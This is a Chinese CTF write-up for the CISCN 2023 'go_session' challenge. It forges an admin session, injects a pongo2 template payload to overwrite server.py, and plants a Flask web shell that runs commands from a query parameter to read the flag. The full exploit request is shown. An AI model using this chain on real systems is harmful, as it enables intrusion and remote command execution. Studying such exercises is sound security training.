[CISCN 2023 初赛]go_session

文章目录

  • 考点
  • 代码审计
    • main.go
    • route.go
      • Index函数
      • Admin函数
      • Flask函数
  • 解题过程
    • 伪造session
    • 获取server.py
    • 构造payload
    • 覆盖server.py
    • 命令执行


考点

session伪造,pongo2模板注入,debug模式覆盖源文件

代码审计

main.go

package main

import (
	"github.com/gin-gonic/gin"
	"main/route"
)

func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/admin", route.Admin)
	r.GET("/flask", route.Flask)
	r.Run("0.0.0.0:80")
}

main函数给了三个路由,分别对应根路径 //admin/flask
我们追踪到route.go

route.go

package route

import (
	"github.com/flosch/pongo2/v6"
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"html"
	"io"
	"net/http"
	"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "guest"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	c.String(200, out)
}

func Flask(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)

	c.String(200, string(body))
}

这是一个路由文件,使用了Gin框架和pongo2的模板引擎

主要定义了三个路由函数,接下来逐步分析

Index函数

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "guest"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, guest")
}

Index函数用于处理根路径下的请求,它的参数是一个指向gin.Context的指针,而gin.Context是Gin框架中的一种上下文对象类型。它是一个包含了当前http请求和响应的信息、操作方法和属性的结构体,用于在处理http请求时传递和操作这些信息。同时gin.Context还提供了一系列的方法用于处理这些信息,这个将是我们后面利用的重点

首先是接收session的参数name,然后判断会话中的name值是否为空,如果为空,就会将name的值设置为guest,然后将会话保存到请求中,最后使用String方法返回一个状态码和一个字符串。

在这里插入图片描述

Admin函数

func Admin(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	c.String(200, out)
}

函数首先判断是否为空,然后判断是否为admin,如果是name为admin,那么从查询参数中获取名为 name 的值,然后EscapeString函数进行转义,接着使用pongo2模板引擎打印字符串

Flask函数

func Flask(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)

	c.String(200, string(body))
}

函数判断参数name值是否为空,如果为空则返回报错信息(可能有我们需要的信息)

这里有个坑,也就是下面这句

resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))

如果我们想要给flask服务传入参数name=123,实际上要构造的是./flask?name=%3fname=123

解题过程

伪造session

题目大概逻辑已经清楚了,首要问题就是如何去伪造session,也就是如何去得到SESSION_KEY

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

执行过程:设置了基于 Cookie 的会话存储,并使用环境变量中的 SESSION_KEY 值作为会话密钥

由于我们无法知道环境变量,只能对SESSION_KEY进行猜测,就是并未设置SESSION_KEY,所以我们可以本地搭环境得到session值去伪造

首先修改源码
如果name不为admin,将其值设置为admin
在这里插入图片描述开启代理

go env -w GOPROXY=https://goproxy.io,direct

然后运行下main.go
在这里插入图片描述
访问127.0.0.1:80,得到cookie
在这里插入图片描述
访问./admin,bp抓包修改session
成功访问
在这里插入图片描述
伪造成功后我们再看看还有什么能获取的信息
所以我们尝试读去下报错信息

获取server.py

我们访问./Flask,并且传参name为空
(注意session得为admin)
在这里插入图片描述得到html代码,我们随便打开个网页复制进去
可以发现开启了debug,说明开启了热加载功能,允许在对代码进行更改后自动重新加载应用程序。这意味着可以在不必手动停止和重启 Flask 应用程序的情况下查看对代码的更改。
在这里插入图片描述
我们知道pongo2模板引擎存在注入点,可以执行go的代码,所以我们可以先上传文件覆盖server.py,再访问/flask路由,来执行命令

构造payload

使用gin包的SaveUploadedFile()进行文件上传

func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error

  • 第一个获取表单中的文件,第二个参数为保存的目录

所以使用ssti的payload为

{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}

但是我们在前面代码审计的时候知道,双引号会被html.EscapeString转义进行编码,所以需要绕过

我们利用gin中的Context.HandlerName()

HandlerName
返回主处理程序的名称。例如,如果处理程序是“handleGetUsers()”,此函数将返回“main.handleGetUsers”

所以如果是在Admin()里,返回的就是main/route.Admin
然后配合过滤器last获取到最后一个字符串也就是文件名为n

还有一个Context.Request.Referer()Request.Referer

返回header里的Referer的值

我们可以在请求中的Referer的值添加为/app/server.py

所以构造最终payload

{{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}

但是在数据包中添加请求头时还要添加 Content-Type 头

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND

对于添加这个头的解释是

对表单提交,浏览器会自动设置合适的 Content-Type 请求,同时 生成一个唯一的边界字符串,并在请求体中使用这个边界字符串将不的表单字段和文件进行分隔。如果表单中包含文件上传的功能,需要 使用 multipart/form-data 类型的请求体格式。

注意分隔符的开始和结束格式

--分隔符
...
...
--分隔符--

覆盖server.py

访问./admin,数据包如下

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
Host: node5.anna.nssctf.cn:28120
Referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=MTY5OTAxNjY1NnxEdi1CQkFFQ180SUFBUkFCRUFBQVBQLUNBQUlHYzNSeWFXNW5EQWdBQm5OdmJIWmxaQU5wYm5RRUFnQUFCbk4wY21sdVp3d05BQXRqYUdGc2JHVnVaMlZKWkFOcGJuUUVBd0Rfa0E9PXx0Nhf11tos024WRtfbo-1x1tZkxqxiP2paIr7GAXXEqA==; session-name=MTY5OTMxNjI2NHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXzsOnx_9Q3qCs6AZzIOC6h8UsEAuK5LiaOsjUjumSslrQ==
Upgrade-Insecure-Requests: 1
Content-Length: 423

------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plain

from flask import *
import os
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args['name']
    file=os.popen(name).read()
    return file

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--

可以看到上传成功
在这里插入图片描述

命令执行

然后就在./flask去命令执行,因为我们知道该路由获取name也是c.DefaultQuery

name=?name=env,拼接出来的url是
http://127.0.0.1:5000/?name=env
但写成name=env,拼接出来的url就是
http://127.0.0.1:5000/env

然后在环境变量找到flag

/flask?name=?name=env

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/125489.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

小白高效自学-网络安全(黑客技术)

网络安全零基础入门学习路线&规划 初级 1、网络安全理论知识(2天) 了解行业相关背景,前景,确定发展方向。 学习网络安全相关法律法规。 网络安全运营的概念。 等保简介、等保规定、流程和规范。(非常重要&#x…

SpringCloud - OpenFeign 参数传递和响应处理(全网最详细)

目录 一、OpenFeign 参数传递和响应处理 1.1、feign 客户端参数传递 1.1.1、零散类型参数传递 1. 例如 querystring 方式传参 2. 例如路径方式传参 1.1.2、对象参数传递 1. 对象参数传递案例 1.1.3、数组参数传递 1. 数组传参案例 1.1.4、集合类型的参数传递&#xf…

Opencv for unity 下载

GitHub - EnoxSoftware/VideoPlayerWithOpenCVForUnityExample: This example shows how to convert VideoPlayer texture to OpenCV Mat using AsyncGPUReadback. OpenCV for Unity | Integration | Unity Asset Store

【Ruoyi管理后台】用户登录强制修改密码

近期有个需求,就是需要调整Ruoyi管理后台:用户如果三个月(长时间)未修改过密码,需要在登录时强制修改密码,否则不能登录系统。 一、后端项目调整 从需求来看,我们需要在用户表增加一个字段,用于标记用户最…

解决EnableKeyword(“_Emission“)运行状态不起作用

我使用的是Standard Shader,一开始“_Emission”没有开启 当我运行下面的代码,可以看到Inspector窗口已经生效,然而物体本身并没有重新开始渲染,反射没有开启 public GameObject go; // Start is called before the first frame…

FCOS难点记录

FCOS 中有计算 特征图(Feature map中的每个特征点到gt_box的左、上、右、下的距离) 1、特征点到gt_box框的 左、上、右、下距离计算 x coords[:, 0] # h*w,2 即 第一列y coords[:, 1] l_off x[None, :, None] - gt_boxes[..., 0][:, No…

《研发效能(DevOps)工程师》课程简介(五)丨IDCF

由国家工业和信息化部教育与考试中心颁发的职业技术证书,也是国内首个研发效能(DevOps)职业技术认证,内涵1000页学习教材2000分钟的课程内容讲解460多个技术知识点300多道练习题。 在这里,你不仅可以了解到华为、微软、…

6.2.1 邻接矩阵

邻接矩阵 表示方法:优点:缺点:适用情况:案例代码 邻接矩阵是一种常见的图的存储结构,用于表示图中顶点之间的连接关系。它是一个二维数组,其中行和列分别表示图中的顶点,而数组中的值表示连接顶…

Geotrust的企业型通配符SSL证书申请

Geotrust作为世界知名的CA认证机构之一,颁发了各种SSL证书,其签发的数字证书被广泛应用于电子商务、企业间通信、网络安全等领域,SSL数字证书可以验证网络中用户的身份,确保数据的机密性和完整性。今天随SSL盾小编了解如何申请Geo…

FPGA UDP RGMII 千兆以太网(1)

1 RGMII 接口 PHY 的 MII 接口有很多种, 例如 MII、 GMII、 RGMII、 SGMII、 XGMII、 TBI、 RTBI 等。其中 RGMII的主要优势在于,它可同时适用于 1000M、 100M、 10M 三种速率,而且接口占用引脚数较少。但也存在缺点,其一, PCB 布线时需要尽可能对数据、控制和时钟线迚行…

GitHub Copilot Chat将于12月全面推出;DeepLearning.AI免费新课

🦉 AI新闻 🚀 GitHub Copilot Chat将于12月全面推出,提升开发者的生产力 摘要:GitHub宣布将于12月全面推出GitHub Copilot Chat,这是GitHub Copilot的一个新功能,旨在帮助开发者编写代码。它能够集成到开…

不定积分第一类换元法(凑微分法)

将其中的 分解为 相当于 令 那么. 就可以得到 例题1 令 那么 因为 所以 利用基本积分公式 结果 例题2 上下同除 接下来需要一些技巧 这个形式需要联想到一个基本积分公式 不巧是这里是2不是1需要利用技巧把2变成1

在Rust中使用多线程并发运行代码

1.Rust线程实现理念 在大部分现代操作系统中,已执行程序的代码在一个 进程(process)中运行,操作系统则会负责管理多个进程。在程序内部,也可以拥有多个同时运行的独立部分。这些运行这些独立部分的功能被称为 线程&am…

竞赛选题 深度学习猫狗分类 - python opencv cnn

文章目录 0 前言1 课题背景2 使用CNN进行猫狗分类3 数据集处理4 神经网络的编写5 Tensorflow计算图的构建6 模型的训练和测试7 预测效果8 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 **基于深度学习猫狗分类 ** 该项目较为新颖&a…

GUI:贪吃蛇

以上是准备工作 Data import javax.swing.*; import java.net.URL;public class Data {public static URL headerURLData.class.getResource("static/header.png");public static ImageIcon header new ImageIcon(headerURL);public static URL upURLData.class.getR…

【vector题解】连续子数组的最大和 | 数组中出现次数超过一次的数字

连续子数组的最大和 连续子数组的最大和_牛客题霸_牛客网 描述 输入一个长度为n的整型数组array,数组中的一个或连续多个整数组成一个子数组,子数组最小长度为1。求所有子数组的和的最大值。 要求:时间复杂度为 O(n),空间复杂度为 O(n) 进…

Python爬虫框架Scrapy:实现高效数据抓取

目录 一、引言 二、Scrapy框架概述 1、Scrapy框架特点 2、Scrapy框架结构 三、Scrapy框架的使用 1、安装Scrapy框架 2、创建Scrapy项目 3、创建爬虫 4、运行爬虫 四、Scrapy框架常见问题及解决方案 1、请求被网站封禁 2、处理动态加载的页面 3、避免被网站检测到爬…

C#查看启用或关闭的Windows功能

通过命令查看启用或关闭的Windows功能,以管理员身份打开powershell,输入命令get-windowsoptionalfeature -online 得出结果如下: 如果使用C#查看,需要先安装System.Management 代码如下: private void isInstall() …

pinpoint监控tomcat应用,页面显示No data collected

pinpoint安装部署教程大家都可以搜到。这里就不说了。单说一下 页面没有数据的情况。 部署环境,pinpoint安装部署在A服务器上。现在是在C、D、E、F……linux机器上安装pinpoint-agnet 1. 将文件 pinpoint-agent-1.8.5.tar.gz 上传到 服务器C、D、E、F…… 2. 解压…

MQTT协议消息代理服务公网远程连接

文章目录 前言1. Linux 搭建 Mosquitto2. Linux 安装Cpolar3. 创建MQTT服务公网连接地址4. 客户端远程连接MQTT服务5. 代码调用MQTT服务6. 固定连接TCP公网地址7. 固定地址连接测试 前言 Mosquitto是一个开源的消息代理,它实现了MQTT协议版本3.1和3.1.1。它可以在不…